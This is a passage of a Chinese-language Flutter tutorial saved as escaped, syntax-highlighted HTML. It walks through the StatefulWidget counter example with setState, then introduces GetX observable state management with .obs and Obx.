class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etheme:\u003c/span\u003e \u003cspan class=\"n\"\u003eThemeData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eprimarySwatch:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eblue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo Home Page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// StatefulWidget 可以通过输入 stful 来快速生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// StatelessWidget 通过输入 stless 来生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyHomePage\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 所有在 Widget 里面的东西都是 final\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 状态在此生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_MyHomePageState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_MyHomePageState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意里面的 setState,他是用来更新部件状态的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 里面的函数就是状态是如何被更新的了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每当 setState 运行,部件状态被更新,这个函数会重新运行\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 更新适应这个状态的部件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里看不懂,建议看上面的组件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;You have pushed the button this many times:\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheadlineMedium\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003efloatingActionButton:\u003c/span\u003e \u003cspan class=\"n\"\u003eFloatingActionButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意这里,这个按钮按下的时候,会执行这个函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etooltip:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Increment\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStatefulWidget 适合于一个小部件内部短时状态的维护。如果我们要搞牵扯到许多部件,乃至于各个页面的共同状态,就很难办了。这里我要给大家介绍一个我日常在使用的状态管理器:GetX。\u003c/p\u003e\n\u003ch3 id=\"getx\"\u003eGetX\u003c/h3\u003e\n\u003cp\u003eGetX 是三个库的集合:状态管理,路由管理,和依赖管理。这里只关注状态管理。\u003c/p\u003e\n\u003ch4 id=\"getx-观察者模式状态管理\"\u003eGetX 观察者模式状态管理\u003c/h4\u003e\n\u003cp\u003e第一个状态管理使用的是obs-\u0026gt;观察者模式,我们记住这么几点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e在变量初始化的时候,初始化值的后面添加\u003ccode\u003e.obs\u003c/code\u003e来使其可观察化\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用\u003ccode\u003eObx\u003c/code\u003e部件来渲染需要用到可观察化变量的部件\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用平常的方法修改可观察化变量的值\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e比如这个计数器应用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:get/get.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 在 GetX 中,给变量添加 .obs 就可以使其被观察\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这时,他的类型不再是值的类型了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0.\u003c/span\u003e\u003cspan class=\"n\"\u003eobs\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMainApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意这里 Obx 部件,他能获取对应的可观察部件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// GetX 保证这个寻找是相当快的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eObx\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Clicks: \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里没用 setState,仅仅对该可观察变量里面的值修改即可\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 